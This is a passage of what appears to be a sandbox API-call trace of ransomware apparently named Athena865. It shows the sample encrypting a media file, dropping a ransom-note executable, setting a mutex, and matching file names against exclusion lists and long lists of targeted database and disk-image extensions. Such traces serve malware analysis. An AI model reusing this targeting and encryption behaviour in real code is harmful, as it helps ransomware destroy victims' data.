Settings\\Public\\Recorded TV\\Sample Media\\win7_scenic-demoshort_raw.wtv.Athena865" (normalized: "c:\\documents and settings\\public\\recorded tv\\sample media\\win7_scenic-demoshort_raw.wtv.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0104.846] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=9699328) returned 1 [0104.846] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0104.847] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52dd68 [0104.847] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519dd8 [0104.847] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519d50) returned 1 [0104.847] CryptGenRandom (in: hProv=0x519d50, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0104.848] CryptReleaseContext (hProv=0x519d50, dwFlags=0x0) returned 1 [0104.848] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x940300, lpName=0x0) returned 0x154 [0104.849] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x800000, dwNumberOfBytesToMap=0x140300) returned 0x2d50000 [0104.997] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519d50) returned 1 [0104.998] CryptGenRandom (in: hProv=0x519d50, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0104.998] CryptReleaseContext (hProv=0x519d50, dwFlags=0x0) returned 1 [0104.998] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d048 [0104.998] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d048 | out: hHeap=0x4f0000) returned 1 [0104.998] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54bd40 [0104.998] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0104.998] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54bd40 | out: hHeap=0x4f0000) returned 1 [0104.998] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0104.998] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54bd40 [0104.998] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0104.998] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54bd40 | out: hHeap=0x4f0000) returned 1 [0104.998] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0104.999] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0105.010] CloseHandle (hObject=0x154) returned 1 [0105.010] CloseHandle (hObject=0x17c) returned 1 [0105.010] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dd68 | out: hHeap=0x4f0000) returned 1 [0105.010] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519dd8 | out: hHeap=0x4f0000) returned 1 [0105.010] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0105.019] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x8a1f1b86, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x8a1f1b86, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x940000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="win7_scenic-demoshort_raw.wtv", cAlternateFileName="WIN7_S~1.WTV")) returned 0 [0105.019] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0105.019] ReleaseMutex (hMutex=0xec) returned 1 [0105.019] CloseHandle (hObject=0xec) returned 1 [0105.019] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\Public\\Videos\\Sample Videos" | out: lpString1="C:\\Documents and Settings\\Public\\Videos\\Sample Videos") returned="C:\\Documents and Settings\\Public\\Videos\\Sample Videos" [0105.019] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dde0 | out: hHeap=0x4f0000) returned 1 [0105.019] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52cf90 | out: hHeap=0x4f0000) returned 1 [0105.019] lstrlenW (lpString="C:\\Documents and Settings\\Public\\Videos\\Sample Videos") returned 53 [0105.019] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\916B99DD159F29EBF111F1FB8062B07D") returned 0xec [0105.019] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0105.019] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\Public\\Videos\\Sample Videos" | out: lpString1="C:\\Documents and Settings\\Public\\Videos\\Sample Videos") returned="C:\\Documents and Settings\\Public\\Videos\\Sample Videos" [0105.019] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0105.019] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Public\\Videos\\Sample Videos\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\public\\videos\\sample videos\\how to back your files.exe"), bFailIfExists=1) returned 0 [0105.020] CreateFileW (lpFileName="C:\\Documents and Settings\\Public\\Videos\\Sample Videos\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\public\\videos\\sample videos\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0105.020] GetLastError () returned 0x0 [0105.020] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0105.020] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x54bd40 [0105.020] ReadFile (in: hFile=0xf4, lpBuffer=0x54bd40, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x54bd40*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0105.021] CloseHandle (hObject=0xf4) returned 1 [0105.021] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54bd40 | out: hHeap=0x4f0000) returned 1 [0105.021] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0105.021] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\Public\\Videos\\Sample Videos\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc7fda460, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7fda460, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0105.022] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0105.022] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0105.022] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0105.022] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc7fda460, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7fda460, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0105.022] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0105.022] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0105.022] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0105.022] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0105.022] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x802f4656, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be12937, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x146, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0105.022] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0105.022] lstrcmpiW (lpString1="desktop.ini", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0105.022] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1 [0105.022] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1 [0105.022] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1 [0105.022] lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1 [0105.022] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1 [0105.022] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1 [0105.022] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1 [0105.022] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1 [0105.022] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1 [0105.022] lstrcmpiW (lpString1="desktop.ini", lpString2="perflogs") returned -1 [0105.022] lstrcmpiW (lpString1="desktop.ini", lpString2="MSBuild") returned -1 [0105.022] lstrlenW (lpString="desktop.ini") returned 11 [0105.022] lstrcpyW (in: lpString1=0x241e8b4, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini" [0105.022] lstrlenW (lpString="desktop.ini") returned 11 [0105.022] lstrlenW (lpString="Athena865") returned 9 [0105.022] lstrcmpiW (lpString1="sktop.ini", lpString2="Athena865") returned 1 [0105.022] lstrlenW (lpString=".dll") returned 4 [0105.023] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1 [0105.023] lstrlenW (lpString=".lnk") returned 4 [0105.023] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1 [0105.023] lstrlenW (lpString=".ini") returned 4 [0105.023] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1 [0105.023] lstrlenW (lpString=".sys") returned 4 [0105.023] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1 [0105.023] lstrlenW (lpString="desktop.ini") returned 11 [0105.023] lstrlenW (lpString="bak") returned 3 [0105.023] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1 [0105.023] lstrlenW (lpString="ba_") returned 3 [0105.023] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1 [0105.023] lstrlenW (lpString="dbb") returned 3 [0105.023] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1 [0105.023] lstrlenW (lpString="vmdk") returned 4 [0105.023] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1 [0105.023] lstrlenW (lpString="rar") returned 3 [0105.023] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1 [0105.023] lstrlenW (lpString="zip") returned 3 [0105.023] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1 [0105.023] lstrlenW (lpString="tgz") returned 3 [0105.023] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1 [0105.023] lstrlenW (lpString="vbox") returned 4 [0105.023] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1 [0105.023] lstrlenW (lpString="vdi") returned 3 [0105.023] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1 [0105.023] lstrlenW (lpString="vhd") returned 3 [0105.023] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1 [0105.023] lstrlenW (lpString="vhdx") returned 4 [0105.023] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1 [0105.023] lstrlenW (lpString="avhd") returned 4 [0105.023] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1 [0105.023] lstrlenW (lpString="db") returned 2 [0105.024] lstrcmpiW (lpString1="ni", lpString2="db") returned 1 [0105.024] lstrlenW (lpString="db2") returned 3 [0105.024] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1 [0105.024] lstrlenW (lpString="db3") returned 3 [0105.024] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1 [0105.024] lstrlenW (lpString="dbf") returned 3 [0105.024] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1 [0105.024] lstrlenW (lpString="mdf") returned 3 [0105.024] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1 [0105.024] lstrlenW (lpString="mdb") returned 3 [0105.024] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1 [0105.024] lstrlenW (lpString="sql") returned 3 [0105.024] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1 [0105.024] lstrlenW (lpString="sqlite") returned 6 [0105.024] lstrcmpiW (lpString1="op.ini", lpString2="sqlite") returned -1 [0105.024] lstrlenW (lpString="sqlite3") returned 7 [0105.024] lstrcmpiW (lpString1="top.ini", lpString2="sqlite3") returned 1 [0105.024] lstrlenW (lpString="sqlitedb") returned 8 [0105.024] lstrcmpiW (lpString1="ktop.ini", lpString2="sqlitedb") returned -1 [0105.024] lstrlenW (lpString="xml") returned 3 [0105.024] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1 [0105.024] lstrlenW (lpString="$er") returned 3 [0105.024] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1 [0105.024] lstrlenW (lpString="4dd") returned 3 [0105.024] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1 [0105.024] lstrlenW (lpString="4dl") returned 3 [0105.024] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1 [0105.024] lstrlenW (lpString="^^^") returned 3 [0105.024] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1 [0105.024] lstrlenW (lpString="abs") returned 3 [0105.024] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1 [0105.024] lstrlenW (lpString="abx") returned 3 [0105.024] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1 [0105.025] lstrlenW (lpString="accdb") returned 5 [0105.025] lstrcmpiW (lpString1="p.ini", lpString2="accdb") returned 1 [0105.025] lstrlenW (lpString="accdc") returned 5 [0105.025] lstrcmpiW (lpString1="p.ini", lpString2="accdc") returned 1 [0105.025] lstrlenW (lpString="accde") returned 5 [0105.025] lstrcmpiW (lpString1="p.ini", lpString2="accde") returned 1 [0105.025] lstrlenW (lpString="accdr") returned 5 [0105.025] lstrcmpiW (lpString1="p.ini", lpString2="accdr") returned 1 [0105.025] lstrlenW (lpString="accdt") returned 5 [0105.025] lstrcmpiW (lpString1="p.ini", lpString2="accdt") returned 1 [0105.025] lstrlenW (lpString="accdw") returned 5 [0105.025] lstrcmpiW (lpString1="p.ini", lpString2="accdw") returned 1 [0105.025] lstrlenW (lpString="accft") returned 5 [0105.025] lstrcmpiW (lpString1="p.ini", lpString2="accft") returned 1 [0105.025] lstrlenW (lpString="adb") returned 3 [0105.025] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1 [0105.025] lstrlenW (lpString="adb") returned 3 [0105.025] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1 [0105.025] lstrlenW (lpString="ade") returned 3 [0105.025] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1 [0105.025] lstrlenW (lpString="adf") returned 3 [0105.025] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1 [0105.025] lstrlenW (lpString="adn") returned 3 [0105.025] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1 [0105.025] lstrlenW (lpString="adp") returned 3 [0105.025] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1 [0105.025] lstrlenW (lpString="alf") returned 3 [0105.025] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1 [0105.025] lstrlenW (lpString="ask") returned 3 [0105.025] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1 [0105.025] lstrlenW (lpString="btr") returned 3 [0105.025] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1 [0105.025] lstrlenW (lpString="cat") returned 3 [0105.026] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1 [0105.026] lstrlenW (lpString="cdb") returned 3 [0105.026] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1 [0105.026] lstrlenW (lpString="ckp") returned 3 [0105.026] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1 [0105.026] lstrlenW (lpString="cma") returned 3 [0105.026] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1 [0105.026] lstrlenW (lpString="cpd") returned 3 [0105.026] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1 [0105.026] lstrlenW (lpString="dacpac") returned 6 [0105.026] lstrcmpiW (lpString1="op.ini", lpString2="dacpac") returned 1 [0105.026] lstrlenW (lpString="dad") returned 3 [0105.026] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1 [0105.026] lstrlenW (lpString="dadiagrams") returned 10 [0105.026] lstrcmpiW (lpString1="esktop.ini", lpString2="dadiagrams") returned 1 [0105.026] lstrlenW (lpString="daschema") returned 8 [0105.026] lstrcmpiW (lpString1="ktop.ini", lpString2="daschema") returned 1 [0105.026] lstrlenW (lpString="db-journal") returned 10 [0105.026] lstrcmpiW (lpString1="esktop.ini", lpString2="db-journal") returned 1 [0105.026] lstrlenW (lpString="db-shm") returned 6 [0105.026] lstrcmpiW (lpString1="op.ini", lpString2="db-shm") returned 1 [0105.026] lstrlenW (lpString="db-wal") returned 6 [0105.026] lstrcmpiW (lpString1="op.ini", lpString2="db-wal") returned 1 [0105.026] lstrlenW (lpString="dbc") returned 3 [0105.026] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1 [0105.026] lstrlenW (lpString="dbs") returned 3 [0105.026] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1 [0105.026] lstrlenW (lpString="dbt") returned 3 [0105.026] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1 [0105.026] lstrlenW (lpString="dbv") returned 3 [0105.026] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1 [0105.026] lstrlenW (lpString="dbx") returned 3 [0105.026] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1 [0105.027] lstrlenW (lpString="dcb") returned 3 [0105.027] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1 [0105.027] lstrlenW (lpString="dct") returned 3 [0105.027] lstrcmpiW (lpString1="ini", lpString2="dct") returned 1 [0105.027] lstrlenW (lpString="dcx") returned 3 [0105.027] lstrcmpiW (lpString1="ini", lpString2="dcx") returned 1 [0105.027] lstrlenW (lpString="ddl") returned 3 [0105.027] lstrcmpiW (lpString1="ini", lpString2="ddl") returned 1 [0105.027] lstrlenW (lpString="dlis") returned 4 [0105.027] lstrcmpiW (lpString1=".ini", lpString2="dlis") returned -1 [0105.027] lstrlenW (lpString="dp1") returned 3 [0105.027] lstrcmpiW (lpString1="ini", lpString2="dp1") returned 1 [0105.027] lstrlenW (lpString="dqy") returned 3 [0105.027] lstrcmpiW (lpString1="ini", lpString2="dqy") returned 1 [0105.027] lstrlenW (lpString="dsk") returned 3 [0105.027] lstrcmpiW (lpString1="ini", lpString2="dsk") returned 1 [0105.027] lstrlenW (lpString="dsn") returned 3 [0105.027] lstrcmpiW (lpString1="ini", lpString2="dsn") returned 1 [0105.027] lstrlenW (lpString="dtsx") returned 4 [0105.027] lstrcmpiW (lpString1=".ini", lpString2="dtsx") returned -1 [0105.027] lstrlenW (lpString="dxl") returned 3 [0105.027] lstrcmpiW (lpString1="ini", lpString2="dxl") returned 1 [0105.027] lstrlenW (lpString="eco") returned 3 [0105.027] lstrcmpiW (lpString1="ini", lpString2="eco") returned 1 [0105.027] lstrlenW (lpString="ecx") returned 3 [0105.027] lstrcmpiW (lpString1="ini", lpString2="ecx") returned 1 [0105.027] lstrlenW (lpString="edb") returned 3 [0105.027] lstrcmpiW (lpString1="ini", lpString2="edb") returned 1 [0105.027] lstrlenW (lpString="epim") returned 4 [0105.027] lstrcmpiW (lpString1=".ini", lpString2="epim") returned -1 [0105.027] lstrlenW (lpString="fcd") returned 3 [0105.027] lstrcmpiW (lpString1="ini", lpString2="fcd") returned 1 [0105.027] lstrlenW (lpString="fdb") returned 3 [0105.028] lstrcmpiW (lpString1="ini", lpString2="fdb") returned 1 [0105.028] lstrlenW (lpString="fic") returned 3 [0105.028] lstrcmpiW (lpString1="ini", lpString2="fic") returned 1 [0105.028] lstrlenW (lpString="flexolibrary") returned 12 [0105.028] lstrlenW (lpString="fm5") returned 3 [0105.028] lstrcmpiW (lpString1="ini", lpString2="fm5") returned 1 [0105.028] lstrlenW (lpString="fmp") returned 3 [0105.028] lstrcmpiW (lpString1="ini", lpString2="fmp") returned 1 [0105.028] lstrlenW (lpString="fmp12") returned 5 [0105.028] lstrcmpiW (lpString1="p.ini", lpString2="fmp12") returned 1 [0105.028] lstrlenW (lpString="fmpsl") returned 5 [0105.028] lstrcmpiW (lpString1="p.ini", lpString2="fmpsl") returned 1 [0105.028] lstrlenW (lpString="fol") returned 3 [0105.028] lstrcmpiW (lpString1="ini", lpString2="fol") returned 1 [0105.028] lstrlenW (lpString="fp3") returned 3 [0105.028] lstrcmpiW (lpString1="ini", lpString2="fp3") returned 1 [0105.028] lstrlenW (lpString="fp4") returned 3 [0105.028] lstrcmpiW (lpString1="ini", lpString2="fp4") returned 1 [0105.028] lstrlenW (lpString="fp5") returned 3 [0105.028] lstrcmpiW (lpString1="ini", lpString2="fp5") returned 1 [0105.028] lstrlenW (lpString="fp7") returned 3 [0105.028] lstrcmpiW (lpString1="ini", lpString2="fp7") returned 1 [0105.028] lstrlenW (lpString="fpt") returned 3 [0105.028] lstrcmpiW (lpString1="ini", lpString2="fpt") returned 1 [0105.028] lstrlenW (lpString="frm") returned 3 [0105.028] lstrcmpiW (lpString1="ini", lpString2="frm") returned 1 [0105.028] lstrlenW (lpString="gdb") returned 3 [0105.028] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1 [0105.028] lstrlenW (lpString="gdb") returned 3 [0105.028] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1 [0105.028] lstrlenW (lpString="grdb") returned 4 [0105.028] lstrcmpiW (lpString1=".ini", lpString2="grdb") returned -1 [0105.028] lstrlenW (lpString="gwi") returned 3 [0105.028] lstrcmpiW (lpString1="ini", lpString2="gwi") returned 1 [0105.029] lstrlenW (lpString="hdb") returned 3 [0105.029] lstrcmpiW (lpString1="ini", lpString2="hdb") returned 1 [0105.029] lstrlenW (lpString="his") returned 3 [0105.029] lstrcmpiW (lpString1="ini", lpString2="his") returned 1 [0105.029] lstrlenW (lpString="ib") returned 2 [0105.029] lstrcmpiW (lpString1="ni", lpString2="ib") returned 1 [0105.029] lstrlenW (lpString="idb") returned 3 [0105.029] lstrcmpiW (lpString1="ini", lpString2="idb") returned 1 [0105.029] lstrlenW (lpString="ihx") returned 3 [0105.029] lstrcmpiW (lpString1="ini", lpString2="ihx") returned 1 [0105.029] lstrlenW (lpString="itdb") returned 4 [0105.029] lstrcmpiW (lpString1=".ini", lpString2="itdb") returned -1 [0105.029] lstrlenW (lpString="itw") returned 3 [0105.029] lstrcmpiW (lpString1="ini", lpString2="itw") returned -1 [0105.029] lstrlenW (lpString="jet") returned 3 [0105.029] lstrcmpiW (lpString1="ini", lpString2="jet") returned -1 [0105.029] lstrlenW (lpString="jtx") returned 3 [0105.029] lstrcmpiW (lpString1="ini", lpString2="jtx") returned -1 [0105.029] lstrlenW (lpString="kdb") returned 3 [0105.029] lstrcmpiW (lpString1="ini", lpString2="kdb") returned -1 [0105.029] lstrlenW (lpString="kexi") returned 4 [0105.029] lstrcmpiW (lpString1=".ini", lpString2="kexi") returned -1 [0105.029] lstrlenW (lpString="kexic") returned 5 [0105.029] lstrcmpiW (lpString1="p.ini", lpString2="kexic") returned 1 [0105.029] lstrlenW (lpString="kexis") returned 5 [0105.029] lstrcmpiW (lpString1="p.ini", lpString2="kexis") returned 1 [0105.029] lstrlenW (lpString="lgc") returned 3 [0105.029] lstrcmpiW (lpString1="ini", lpString2="lgc") returned -1 [0105.029] lstrlenW (lpString="lwx") returned 3 [0105.029] lstrcmpiW (lpString1="ini", lpString2="lwx") returned -1 [0105.029] lstrlenW (lpString="maf") returned 3 [0105.029] lstrcmpiW (lpString1="ini", lpString2="maf") returned -1 [0105.029] lstrlenW (lpString="maq") returned 3 [0105.030] lstrcmpiW (lpString1="ini", lpString2="maq") returned -1 [0105.030] lstrlenW (lpString="mar") returned 3 [0105.030] lstrcmpiW (lpString1="ini", lpString2="mar") returned -1 [0105.030] lstrlenW (lpString="marshal") returned 7 [0105.030] lstrcmpiW (lpString1="top.ini", lpString2="marshal") returned 1 [0105.030] lstrlenW (lpString="mas") returned 3 [0105.030] lstrcmpiW (lpString1="ini", lpString2="mas") returned -1 [0105.030] lstrlenW (lpString="mav") returned 3 [0105.030] lstrcmpiW (lpString1="ini", lpString2="mav") returned -1 [0105.030] lstrlenW (lpString="maw") returned 3 [0105.030] lstrcmpiW (lpString1="ini", lpString2="maw") returned -1 [0105.030] lstrlenW (lpString="mdbhtml") returned 7 [0105.030] lstrcmpiW (lpString1="top.ini", lpString2="mdbhtml") returned 1 [0105.030] lstrlenW (lpString="mdn") returned 3 [0105.030] lstrcmpiW (lpString1="ini", lpString2="mdn") returned -1 [0105.030] lstrlenW (lpString="mdt") returned 3 [0105.030] lstrcmpiW (lpString1="ini", lpString2="mdt") returned -1 [0105.030] lstrlenW (lpString="mfd") returned 3 [0105.030] lstrcmpiW (lpString1="ini", lpString2="mfd") returned -1 [0105.030] lstrlenW (lpString="mpd") returned 3 [0105.030] lstrcmpiW (lpString1="ini", lpString2="mpd") returned -1 [0105.030] lstrlenW (lpString="mrg") returned 3 [0105.030] lstrcmpiW (lpString1="ini", lpString2="mrg") returned -1 [0105.030] lstrlenW (lpString="mud") returned 3 [0105.030] lstrcmpiW (lpString1="ini", lpString2="mud") returned -1 [0105.030] lstrlenW (lpString="mwb") returned 3 [0105.030] lstrcmpiW (lpString1="ini", lpString2="mwb") returned -1 [0105.030] lstrlenW (lpString="myd") returned 3 [0105.030] lstrcmpiW (lpString1="ini", lpString2="myd") returned -1 [0105.030] lstrlenW (lpString="ndf") returned 3 [0105.030] lstrcmpiW (lpString1="ini", lpString2="ndf") returned -1 [0105.030] lstrlenW (lpString="nnt") returned 3 [0105.030] lstrcmpiW (lpString1="ini", lpString2="nnt") returned -1 [0105.031] lstrlenW (lpString="nrmlib") returned 6 [0105.031] lstrcmpiW (lpString1="op.ini", lpString2="nrmlib") returned 1 [0105.031] lstrlenW (lpString="ns2") returned 3 [0105.031] lstrcmpiW (lpString1="ini", lpString2="ns2") returned -1 [0105.031] lstrlenW (lpString="ns3") returned 3 [0105.031] lstrcmpiW (lpString1="ini", lpString2="ns3") returned -1 [0105.031] lstrlenW (lpString="ns4") returned 3 [0105.031] lstrcmpiW (lpString1="ini", lpString2="ns4") returned -1 [0105.031] lstrlenW (lpString="nsf") returned 3 [0105.031] lstrcmpiW (lpString1="ini", lpString2="nsf") returned -1 [0105.031] lstrlenW (lpString="nv") returned 2 [0105.031] lstrcmpiW (lpString1="ni", lpString2="nv") returned -1 [0105.031] lstrlenW (lpString="nv2") returned 3 [0105.031] lstrcmpiW (lpString1="ini", lpString2="nv2") returned -1 [0105.031] lstrlenW (lpString="nwdb") returned 4 [0105.031] lstrcmpiW (lpString1=".ini", lpString2="nwdb") returned -1 [0105.031] lstrlenW (lpString="nyf") returned 3 [0105.031] lstrcmpiW (lpString1="ini", lpString2="nyf") returned -1 [0105.031] lstrlenW (lpString="odb") returned 3 [0105.031] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1 [0105.031] lstrlenW 